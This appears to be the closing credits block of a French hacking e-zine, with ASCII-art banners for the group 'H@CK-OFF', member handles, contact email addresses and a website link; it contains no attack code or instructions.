~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... ________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Blured - Misto - hertz - Jericho ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cakeii@usa.net courou@mail.com { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ tobozo@yahoo.com hertz@webmails.com jericho@altranet.fr blured75@hotmail.com ulysse31@madchat.org lansciac@caramail.com matforever@hotmail.com ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]